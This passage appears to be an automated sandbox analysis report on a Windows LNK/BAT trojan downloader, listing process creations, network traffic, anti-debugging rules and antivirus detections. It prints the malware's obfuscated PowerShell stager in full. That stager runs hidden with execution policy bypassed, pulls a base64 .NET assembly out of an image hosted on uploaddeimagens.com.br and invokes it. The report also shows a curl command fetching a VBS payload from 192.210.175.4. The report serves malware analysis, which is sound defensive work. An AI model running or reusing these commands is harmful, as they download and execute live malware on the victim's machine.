ZQ⁂⇵u⁂⇵Ec⁂⇵ZQB0⁂⇵E0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵Cg⁂⇵JwBW⁂⇵EE⁂⇵SQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GE⁂⇵cgBn⁂⇵HU⁂⇵bQBl⁂⇵G4⁂⇵d⁂⇵Bz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Cw⁂⇵K⁂⇵⁂⇵n⁂⇵HQ⁂⇵e⁂⇵B0⁂⇵C4⁂⇵S⁂⇵BC⁂⇵C8⁂⇵QQBU⁂⇵FM⁂⇵V⁂⇵⁂⇵v⁂⇵DQ⁂⇵Lg⁂⇵1⁂⇵Dc⁂⇵MQ⁂⇵u⁂⇵D⁂⇵⁂⇵MQ⁂⇵y⁂⇵C4⁂⇵Mg⁂⇵5⁂⇵DE⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000334
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DU⁂⇵OQ⁂⇵v⁂⇵DU⁂⇵MQ⁂⇵w⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵cgB1⁂⇵G0⁂⇵c⁂⇵Bf⁂⇵H⁂⇵⁂⇵cgBp⁂⇵HY⁂⇵YQB0⁂⇵GU⁂⇵LgBq⁂⇵H⁂⇵⁂⇵Zw⁂⇵/⁂⇵DE⁂⇵Ng⁂⇵5⁂⇵D⁂⇵⁂⇵NQ⁂⇵w⁂⇵DQ⁂⇵MQ⁂⇵y⁂⇵Dk⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵TgBl⁂⇵Hc⁂⇵LQBP⁂⇵GI⁂⇵agBl⁂⇵GM⁂⇵d⁂⇵⁂⇵g⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵TgBl⁂⇵HQ⁂⇵LgBX⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵7⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Hc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵C4⁂⇵R⁂⇵Bv⁂⇵Hc⁂⇵bgBs⁂⇵G8⁂⇵YQBk⁂⇵EQ⁂⇵YQB0⁂⇵GE⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBV⁂⇵HI⁂⇵b⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵EU⁂⇵bgBj⁂⇵G8⁂⇵Z⁂⇵Bp⁂⇵G4⁂⇵ZwBd⁂⇵Do⁂⇵OgBV⁂⇵FQ⁂⇵Rg⁂⇵4⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBC⁂⇵Hk⁂⇵d⁂⇵Bl⁂⇵HM⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBT⁂⇵FQ⁂⇵QQBS⁂⇵FQ⁂⇵Pg⁂⇵+⁂⇵Cc⁂⇵Ow⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBF⁂⇵E4⁂⇵R⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵E8⁂⇵Zg⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BG⁂⇵Gw⁂⇵YQBn⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵ZQ⁂⇵g⁂⇵D⁂⇵⁂⇵I⁂⇵⁂⇵t⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵d⁂⇵⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵Cs⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵LgBM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵7⁂⇵CQ⁂⇵YgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵T⁂⇵Bl⁂⇵G4⁂⇵ZwB0⁂⇵Gg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBT⁂⇵HU⁂⇵YgBz⁂⇵HQ⁂⇵cgBp⁂⇵G4⁂⇵Zw⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵s⁂⇵C⁂⇵⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵QwBv⁂⇵G4⁂⇵dgBl⁂⇵HI⁂⇵d⁂⇵Bd⁂⇵Do⁂⇵OgBG⁂⇵HI⁂⇵bwBt⁂⇵EI⁂⇵YQBz⁂⇵GU⁂⇵Ng⁂⇵0⁂⇵FM⁂⇵d⁂⇵By⁂⇵Gk⁂⇵bgBn⁂⇵Cg⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵ZQBk⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQ⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵UgBl⁂⇵GY⁂⇵b⁂⇵Bl⁂⇵GM⁂⇵d⁂⇵Bp⁂⇵G8⁂⇵bg⁂⇵u⁂⇵EE⁂⇵cwBz⁂⇵GU⁂⇵bQBi⁂⇵Gw⁂⇵eQBd⁂⇵Do⁂⇵OgBM⁂⇵G8⁂⇵YQBk⁂⇵Cg⁂⇵J⁂⇵Bj⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵p⁂⇵Ds⁂⇵J⁂⇵B0⁂⇵Hk⁂⇵c⁂⇵Bl⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵b⁂⇵Bv⁂⇵GE⁂⇵Z⁂⇵Bl⁂⇵GQ⁂⇵QQBz⁂⇵HM⁂⇵ZQBt⁂⇵GI⁂⇵b⁂⇵B5⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵V⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵o⁂⇵Cc⁂⇵RgBp⁂⇵GI⁂⇵ZQBy⁂⇵C4⁂⇵S⁂⇵Bv⁂⇵G0⁂⇵ZQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵d⁂⇵B5⁂⇵H⁂⇵⁂⇵ZQ⁂⇵u⁂⇵Ec⁂⇵ZQB0⁂⇵E0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵Cg⁂⇵JwBW⁂⇵EE⁂⇵SQ⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵GE⁂⇵cgBn⁂⇵HU⁂⇵bQBl⁂⇵G4⁂⇵d⁂⇵Bz⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵Cw⁂⇵K⁂⇵⁂⇵n⁂⇵HQ⁂⇵e⁂⇵B0⁂⇵C4⁂⇵S⁂⇵BC⁂⇵C8⁂⇵QQBU⁂⇵FM⁂⇵V⁂⇵⁂⇵v⁂⇵DQ⁂⇵Lg⁂⇵1⁂⇵Dc⁂⇵MQ⁂⇵u⁂⇵D⁂⇵⁂⇵MQ⁂⇵y⁂⇵C4⁂⇵Mg⁂⇵5⁂⇵DE⁂⇵Lw⁂⇵v⁂⇵Do⁂⇵c⁂⇵B0⁂⇵HQ⁂⇵a⁂⇵⁂⇵n⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵G0⁂⇵ZQB0⁂⇵Gg⁂⇵bwBk⁂⇵C4⁂⇵SQBu⁂⇵HY⁂⇵bwBr⁂⇵GU⁂⇵K⁂⇵⁂⇵k⁂⇵G4⁂⇵dQBs⁂⇵Gw⁂⇵L⁂⇵⁂⇵g⁂⇵CQ⁂⇵YQBy⁂⇵Gc⁂⇵dQBt⁂⇵GU⁂⇵bgB0⁂⇵HM⁂⇵KQ⁂⇵=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂⇵','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

thread_identifier: 1832
thread_handle: 0x00000448
process_identifier: 1392
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.HB/ATST/4.571.012.291//:ptth');$method.Invoke($null, $arguments)"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000044c
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

flags: 15
family: 0
111 0
Data received [
Data received Wdç÷X‹Çm‚ùÙ0›P:6?¤¡eå DOWNGRD |A¶µ2þÇe¸iáïÇ¿‰¶Õ…J»”‡’F%z8À ÿ 
Data received P
Data received ‘
Data received AºÈú7Iܛßf<]Yœ‘»Yír©;/nn”zÝæí̵œÚKØp¡ŽÚLõÛI^Ý ¬Ÿ\«z€Üw0éF0D YªÌ»E°Ê¼Ö±·€gukß°³?ð¹P*œT~ü, YŽQS:r.¥º¦‘Ì…ƒ#$Óæ­q˜™wÊ´ßÅaꌾ
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received ؍ O98”ð÷f¯ðßé®Í|,ÈI3Ð!6É=k~ñ± 3¡«b+y¯2cÆù N
Data sent yudç÷¹K™r3šÊ܆Ðȁöh:wtkôØ>ú¨v x/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBAÏ9¶ðMŽZtrI®XüJ»íƒtÈ!¹}‹øµIªZsEƒ¼(.îês8©Ë¸|ž¯°F"<bàÂà,ȧ٨÷0íÑì̆c£ºnX˜.bÛqÅ3Õ£âëÔ èÃpµªÐßœêtŽíÌ)R¶
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
host 192.210.175.4
file C:\Windows\Temp\Debug.vbs
FireEye Generic.BAT.Downloader.N.4AB00C8A
ALYac Generic.BAT.Downloader.N.4AB00C8A
Kaspersky HEUR:Trojan.Multi.GenBadur.genw
BitDefender Generic.BAT.Downloader.N.4AB00C8A
MicroWorld-eScan Generic.BAT.Downloader.N.4AB00C8A
Emsisoft Generic.BAT.Downloader.N.4AB00C8A (B)
F-Secure Trojan-Downloader:W32/Kataja.C
VIPRE Generic.BAT.Downloader.N.4AB00C8A
Sophos Troj/DownLnk-AW
SentinelOne Static AI - Suspicious LNK
Arcabit Generic.BAT.Downloader.N.4AB00C8A
ZoneAlarm HEUR:Trojan.Multi.GenBadur.genw
GData Generic.BAT.Downloader.N.4AB00C8A
Google Detected
VBA32 Trojan.Link.ShellCmd
MAX malware (ai score=85)
Zoner Probably Heur.LNKScript
Rising Trojan.PSRunner/LNK!1.BADE (CLASSIC)
Time & API Arguments Status Return Repeated

send

buffer: yudç÷¹K™r3šÊ܆Ðȁöh:wtkôØ>ú¨v x/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1436
sent: 126
1 126 0

send

buffer: FBAÏ9¶ðMŽZtrI®XüJ»íƒtÈ!¹}‹øµIªZsEƒ¼(.îês8©Ë¸|ž¯°F"<bàÂà,ȧ٨÷0íÑì̆c£ºnX˜.bÛqÅ3Õ£âëÔ èÃpµªÐßœêtŽíÌ)R¶
socket: 1436
sent: 134
1 134 0

WSASend

buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2016
0 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.HB/ATST/4.571.012.291//:ptth');$method.Invoke($null, $arguments)"
parent_process powershell.exe martian_process "C:\util\curl\curl.exe" http://192.210.175.4/TSTA/1/IE_root.vbs -o C:\Windows\Temp\Debug.vbs
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵VQBy⁂⇵Gw⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵JwBo⁂⇵HQ⁂⇵d⁂⇵Bw⁂⇵HM⁂⇵Og⁂⇵v⁂⇵C8⁂⇵dQBw⁂⇵Gw⁂⇵bwBh⁂⇵GQ⁂⇵Z⁂⇵Bl⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBu⁂⇵HM⁂⇵LgBj⁂⇵G8⁂⇵bQ⁂⇵u⁂⇵GI⁂⇵cg⁂⇵v⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBz⁂⇵C8⁂⇵M⁂⇵⁂⇵w⁂⇵DQ⁂⇵Lw⁂⇵1⁂⇵DU⁂⇵OQ⁂⇵v⁂⇵DU⁂⇵MQ⁂⇵w⁂⇵C8⁂⇵bwBy⁂⇵Gk⁂⇵ZwBp⁂⇵G4⁂⇵YQBs⁂⇵C8⁂⇵cgB1⁂⇵G0⁂⇵c⁂⇵Bf⁂⇵H⁂⇵⁂⇵cgBp⁂⇵HY⁂⇵YQB0⁂⇵GU⁂⇵LgBq⁂⇵H⁂⇵⁂⇵Zw⁂⇵/⁂⇵DE⁂⇵Ng⁂⇵5⁂⇵D⁂⇵⁂⇵NQ⁂⇵w⁂⇵DQ⁂⇵MQ⁂⇵y⁂⇵Dk⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵dwBl⁂⇵GI⁂⇵QwBs⁂⇵Gk⁂⇵ZQBu⁂⇵HQ⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵TgBl⁂⇵Hc⁂⇵LQBP⁂⇵GI⁂⇵agBl⁂⇵GM⁂⇵d⁂⇵⁂⇵g⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵TgBl⁂⇵HQ⁂⇵LgBX⁂⇵GU⁂⇵YgBD⁂⇵Gw⁂⇵aQBl⁂⇵G4⁂⇵d⁂⇵⁂⇵7⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵EI⁂⇵eQB0⁂⇵GU⁂⇵cw⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Hc⁂⇵ZQBi⁂⇵EM⁂⇵b⁂⇵Bp⁂⇵GU⁂⇵bgB0⁂⇵C4⁂⇵R⁂⇵Bv⁂⇵Hc⁂⇵bgBs⁂⇵G8⁂⇵YQBk⁂⇵EQ⁂⇵YQB0⁂⇵GE⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBV⁂⇵HI⁂⇵b⁂⇵⁂⇵p⁂⇵Ds⁂⇵J⁂⇵Bp⁂⇵G0⁂⇵YQBn⁂⇵GU⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵Bb⁂⇵FM⁂⇵eQBz⁂⇵HQ⁂⇵ZQBt⁂⇵C4⁂⇵V⁂⇵Bl⁂⇵Hg⁂⇵d⁂⇵⁂⇵u⁂⇵EU⁂⇵bgBj⁂⇵G8⁂⇵Z⁂⇵Bp⁂⇵G4⁂⇵ZwBd⁂⇵Do⁂⇵OgBV⁂⇵FQ⁂⇵Rg⁂⇵4⁂⇵C4⁂⇵RwBl⁂⇵HQ⁂⇵UwB0⁂⇵HI⁂⇵aQBu⁂⇵Gc⁂⇵K⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBC⁂⇵Hk⁂⇵d⁂⇵Bl⁂⇵HM⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBT⁂⇵FQ⁂⇵QQBS⁂⇵FQ⁂⇵Pg⁂⇵+⁂⇵Cc⁂⇵Ow⁂⇵k⁂⇵GU⁂⇵bgBk⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵Jw⁂⇵8⁂⇵Dw⁂⇵QgBB⁂⇵FM⁂⇵RQ⁂⇵2⁂⇵DQ⁂⇵XwBF⁂⇵E4⁂⇵R⁂⇵⁂⇵+⁂⇵D4⁂⇵Jw⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵D0⁂⇵I⁂⇵⁂⇵k⁂⇵Gk⁂⇵bQBh⁂⇵Gc⁂⇵ZQBU⁂⇵GU⁂⇵e⁂⇵B0⁂⇵C4⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵E8⁂⇵Zg⁂⇵o⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵KQ⁂⇵7⁂⇵CQ⁂⇵ZQBu⁂⇵GQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵TwBm⁂⇵Cg⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BG⁂⇵Gw⁂⇵YQBn⁂⇵Ck⁂⇵Ow⁂⇵k⁂⇵HM⁂⇵d⁂⇵Bh⁂⇵HI⁂⇵d⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵ZQ⁂⇵g⁂⇵D⁂⇵⁂⇵I⁂⇵⁂⇵t⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵Gc⁂⇵d⁂⇵⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵7⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵Ek⁂⇵bgBk⁂⇵GU⁂⇵e⁂⇵⁂⇵g⁂⇵Cs⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵cwB0⁂⇵GE⁂⇵cgB0⁂⇵EY⁂⇵b⁂⇵Bh⁂⇵Gc⁂⇵LgBM⁂⇵GU⁂⇵bgBn⁂⇵HQ⁂⇵a⁂⇵⁂⇵7⁂⇵CQ⁂⇵YgBh⁂⇵HM⁂⇵ZQ⁂⇵2⁂⇵DQ⁂⇵T⁂⇵Bl⁂⇵G4⁂⇵ZwB0⁂⇵Gg⁂⇵I⁂⇵⁂⇵9⁂⇵C⁂⇵⁂⇵J⁂⇵Bl⁂⇵G4⁂⇵Z⁂⇵BJ⁂⇵G4⁂⇵Z⁂⇵Bl⁂⇵Hg⁂⇵I⁂⇵⁂⇵t⁂⇵C⁂⇵⁂⇵J⁂⇵Bz⁂⇵HQ⁂⇵YQBy⁂⇵HQ⁂⇵SQBu⁂⇵GQ⁂⇵ZQB4⁂⇵Ds⁂⇵J⁂⇵Bi⁂⇵GE⁂⇵cwBl⁂⇵DY⁂⇵N⁂⇵BD⁂⇵G8⁂⇵bQBt⁂⇵GE⁂⇵bgBk⁂⇵C⁂⇵⁂⇵PQ⁂⇵g⁂⇵CQ⁂⇵aQBt⁂⇵GE⁂⇵ZwBl⁂⇵FQ⁂⇵ZQB4⁂⇵HQ⁂⇵LgBT⁂